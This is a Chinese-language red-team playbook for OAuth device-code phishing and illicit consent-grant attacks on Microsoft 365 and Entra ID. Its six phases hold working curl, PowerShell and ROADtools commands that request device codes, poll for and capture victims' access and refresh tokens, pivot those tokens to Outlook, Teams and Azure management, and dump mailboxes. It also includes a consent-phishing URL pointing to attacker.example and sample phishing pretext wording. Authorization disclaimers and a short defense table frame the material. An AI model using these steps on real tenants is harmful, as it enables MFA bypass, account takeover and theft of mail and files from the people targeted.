利用设备代码钓鱼攻击 OAuth 是做什么的?
法律声明: 本技能仅用于授权的安全测试、红队演练和教育目的。设备代码和同意授予钓鱼技术会操纵真实用户授权攻击者访问其企业身份。请仅在你拥有所有权的租户或获得明确书面授权(交战规则)的情况下执行。未经授权使用违反《计算机欺诈和滥用法案》及全球同等法律。
概述
OAuth 2.0 设备授权授权(RFC 8628)最初是为输入受限的设备(如智能电视、CLI 工具)设计的,这些设备难以呈现基于浏览器的登录流程。设备向授权服务器请求一个简短的 user_code 和一个 device_code,向用户显示 user_code 和验证 URL,然后在用户在另一台功能齐全的设备上进行身份验证时轮询令牌端点。攻击者将这一流程武器化:攻击者的机器扮演“设备”角色。攻击者发起设备代码请求,然后通过网络钓鱼诱骗受害者访问合法的 Microsoft 验证页面(https://microsoft.com/devicelogin)并输入攻击者生成的 user_code。由于受害者在真实的 Microsoft 登录页面上进行身份验证(包括 MFA),因此最终生成的令牌会绑定到攻击者的轮询会话。这完全绕过了 MFA:第二因素由受害者满足,但承载令牌却落入了攻击者手中(映射到 MITRE ATT&CK T1528 – 窃取应用程序访问令牌)。
微软威胁情报、Volexity 和 Proofpoint 记录了 2025 年设备代码钓鱼攻击的显著增长,其中与俄罗斯有关的威胁行为者(微软追踪为 Storm-2372)最为活跃。Mandiant 的 M-Trends 报告同样强调 OAuth 令牌窃取是主要的云初始访问向量之一。一个密切相关的技术是非法同意授予(“OAuth 钓鱼”):攻击者注册一个多租户应用程序,并诱骗受害者点击 /adminconsent 或用户同意 URL,授予恶意应用程序委托的 Microsoft Graph 权限(如 Mail.Read、Files.ReadWrite.All、offline_access),这些权限在密码重置后仍然独立有效。本技能涵盖了这两种技术,还包括使用 TokenTactics 跨 Microsoft 365 服务进行令牌重放,以及使用 ROADtools 进行验证和访问映射。
红队利用的一个关键特性是:通过设备代码流程生成的访问令牌有效期约为 60-90 分钟,但伴随的刷新令牌(使用 offline_access 范围)最长可存活 90 天,并且可以兑换针对客户端有权请求的任何第一方资源(Outlook、SharePoint、Teams、Azure 资源管理器)的新令牌,从而实现持久且能绕过 MFA 的访问。
何时使用
- 在授权的红队或假设入侵演练中,针对 Microsoft 365 / Entra ID 目标,且社会工程学在范围内时
- 需要验证条件访问策略、MFA 强制执行和令牌保护控制措施在面对真实钓鱼技术时的有效性时
- 测试组织是否限制了 OAuth 设备代码流程或阻止了未经验证的多租户应用程序同意时
- 演示 MFA 绕过风险,以证明对防钓鱼身份验证(FIDO2)和令牌绑定控制措施的投资必要性时
- 为蓝队(配合
hunting-saas-sso-token-abuse技能)构建检测规则,并需要真实的遥测数据时
先决条件
- 明确允许针对目标租户进行网络钓鱼和令牌窃取的书面授权/交战规则
- 受控的借口传递渠道(经批准的网络钓鱼基础设施或内部测试邮箱)
- 安装了 Python 3.8+ 和 PowerShell 7+ 的 Linux 或 Windows 攻击机
- 安装 TokenTactics (PowerShell) 和 ROADtools (Python):
# ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security pip install roadtools roadtools_auth # roadtx (ROADtools Token eXchange) 包含在 roadtools_auth 中 roadtx --help # TokenTactics v2 (rvrsh3ll) git clone https://github.com/rvrsh3ll/TokenTactics.git pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1" - 熟悉 OAuth 2.0 授权类型、JWT 结构和 Microsoft Graph 作用域
目标
- 使用第一方客户端 ID 向 Entra ID 发起 OAuth 设备代码请求
- 创造一个可信的借口,引导受害者访问真实的 Microsoft 设备登录页面
- 轮询令牌端点并捕获受害者的访问令牌和刷新令牌
- 跨 Microsoft 365 资源(Graph、Outlook、Azure 管理)刷新令牌以扩大访问范围
- 通过注册和钓鱼恶意多租户应用的同意来执行非法同意授予变体
- 使用 ROADtools 枚举可访问的资源和数据以展示影响
- 记录 MFA 绕过并提供修复建议
MITRE ATT&CK 映射
| ID | 技术 | 在本技能中的应用 |
|---|---|---|
| T1528 | 窃取应用程序访问令牌 | 对设备代码流程/同意授予进行钓鱼,获得攻击者控制的 OAuth 访问和刷新令牌,这些令牌可在无需重新认证的情况下重用以访问云服务 |
经常链接的相关技术:T1566 网络钓鱼(传递),T1550.001 应用程序访问令牌(重放窃取的令牌),T1098.003 账户操纵:其他云角色(同意授予持久化)。
工作流程
阶段 1:发起设备代码请求
攻击者向 Entra ID 请求设备代码,选择受害者隐式信任的第一方客户端。Microsoft Office 客户端 ID d3590ed6-52b3-4102-aeff-aad2292ab01c 被普遍使用,因为它被预授权用于广泛的第一个方资源。
-
直接通过令牌端点请求设备代码:
# client_id = Microsoft Office; scope 请求 offline_access 以获得长效刷新令牌 curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json -
JSON 响应包含你武器化的字段:
{ "user_code": "B7HVQXKZ2", "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...", "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, "interval": 5, "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code B7HVQXKZ2 to authenticate." } -
注意 15 分钟(
expires_in: 900)的有效期窗口——借口必须促使受害者尽快完成身份验证。使用 TokenTactics(自动处理轮询)的等效操作:
Import-Module ./TokenTactics/TokenTactics.psd1 # 生成设备代码并开始轮询;打印要用于钓鱼的 user_code Get-AzureToken -Client MSGraph
阶段 2:传递借口
钓鱼消息不得包含凭证窃取链接——受害者在真实的 Microsoft 页面上进行身份验证,这恰恰是它能够挫败用户怀疑和 MFA 的原因。
- 编造一个借口,引用真实的
https://microsoft.com/deviceloginURL 和user_code(例如:“IT 部门正在为你的账户注册新的 Teams Rooms 设备;请在 15 分钟内打开 microsoft.com/devicelogin 并输入代码 B7HVQXKZ2”)。 - 通过经批准的网络钓鱼基础设施发送。带有超链接的代码/URL 通常会被识别为垃圾邮件,因此请以纯文本形式呈现 URL 和代码。
- 将传递时间安排在轮询周期开始时,以确保代码是最新的。
阶段 3:轮询并捕获令牌
当受害者进行身份验证并批准时,使用 device_code 轮询令牌端点,直到令牌发放。
- 按照服务器指定的
interval(5 秒)进行轮询;在受害者完成登录之前,会持续返回authorization_pending:DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])") while true; do RESP=$(curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \ -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d "device_code=${DEVICE_CODE}") echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; } echo "$RESP" | grep -q authorization_pending || echo "$RESP" sleep 5 done - 成功后,响应包含
access_token、refresh_token、id_token、expires_in和授予的scope。 - 解码访问令牌以确认捕获的身份、受众和作用域:
python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
阶段 4:跨 Microsoft 365 资源刷新令牌
刷新令牌(包含 offline_access)可以兑换为针对其他第一方资源的令牌,从而将访问范围扩展到原始作用域之外。
- 使用 TokenTactics 刷新函数将刷新令牌定向到特定服务:
# $response 包含来自 Get-AzureToken 的设备代码结果 $rt = $response.refresh_token Invoke-RefreshToOutlookToken -domain target.com -refreshToken $rt # 邮箱访问 Invoke-RefreshToMSGraphToken -domain target.com -refreshToken $rt # Graph Invoke-RefreshToMSTeamsToken -domain target.com -refreshToken $rt # Teams Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM Invoke-RefreshToSubstrateToken -domain target.com -refreshToken $rt - 使用 roadtx 的等效操作,将刷新令牌兑换为新资源:
roadtx refreshtokento \ -r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c \ -s https://graph.microsoft.com/.default - 演示邮箱访问以证明影响(只读,范围限于交战规则):
Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
阶段 5:非法同意授予变体
不是使用设备代码,而是注册一个恶意多租户应用程序,并诱骗受害者同意委托的 Graph 权限,以获得持久、密码重置后依然有效的访问。
- 在攻击者租户中注册一个多租户应用程序,请求委托作用域,例如
Mail.Read、Files.ReadWrite.All、offline_access。 - 构建用户同意 URL 并进行钓鱼:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize? client_id=<ATTACKER_APP_ID> &response_type=code &redirect_uri=https://attacker.example/callback &response_mode=query &scope=offline_access%20Mail.Read%20Files.ReadWrite.All &state=12345 - 当受害者同意后,将返回的
code兑换为令牌:curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \ -d 'client_id=<ATTACKER_APP_ID>' \ -d 'grant_type=authorization_code' \ -d 'code=<AUTH_CODE>' \ -d 'redirect_uri=https://attacker.example/callback' \ -d 'client_secret=<APP_SECRET>' \ -d 'scope=offline_access Mail.Read Files.ReadWrite.All' - 已同意的 OAuth 授予会在受害者租户中作为服务主体授予持续存在,直到管理员撤销它(
Remove-MgServicePrincipalOauth2PermissionGrant)。
阶段 6:使用 ROADtools 枚举影响
- 使用捕获的令牌/刷新令牌认证 roadrecon 并转储目录:
roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c roadrecon gather roadrecon gui # 浏览用户、组、应用注册、角色分配 - 识别高价值访问:角色分配、拥有的应用程序、可访问的 SharePoint 站点以及其他同意授予。
- 在参与报告中准确记录窃取的令牌所访问的数据和角色。
工具和资源
| 工具 | 目的 | 来源 |
|---|---|---|
| TokenTactics v2 | 跨 M365 服务生成设备代码和刷新令牌 | https://github.com/rvrsh3ll/TokenTactics |
| ROADtools (roadrecon / roadtx) | 令牌交换、目录枚举、访问映射 | https://github.com/dirkjanm/ROADtools |
| AADInternals | Entra ID 攻击/侦察 PowerShell 工具包 | https://github.com/Gerenios/AADInternals |
| RFC 8628 | OAuth 2.0 设备授权授权规范 | https://datatracker.ietf.org/doc/html/rfc8628 |
| Microsoft / Storm-2372 公告 | 设备代码钓鱼活动分析 | https://www.microsoft.com/en-us/security/blog/ |
| Mandiant M-Trends | OAuth 令牌窃取趋势报告 | https://cloud.google.com/security/resources/m-trends |
防御建议
| 控制措施 | 效果 |
|---|---|
为不需要设备代码流的用户配置条件访问策略阻止该流程(authenticationFlows) | 消除了大多数用户的攻击面 |
| 防钓鱼 MFA(FIDO2 / 通行密钥)+ 令牌保护(令牌绑定) | 绑定的令牌无法在受害者设备之外重放 |
| 限制用户仅同意经过验证的发布者/要求管理员同意 | 阻止非法同意授予 |
| 在不受信任的网络上设置登录频率 + 缩短会话生存期 | 限制刷新令牌的寿命 |
监视 AADNonInteractiveUserSignInLogs 以发现设备代码授予和异常令牌使用 | 检测(参见 hunting-saas-sso-token-abuse) |
验证标准
- 设备代码请求返回了有效的
user_code和device_code - 传递的借口引用了真实的 Microsoft 设备登录页面(无凭证窃取链接)
- 令牌端点被轮询,并且捕获了
access_token和refresh_token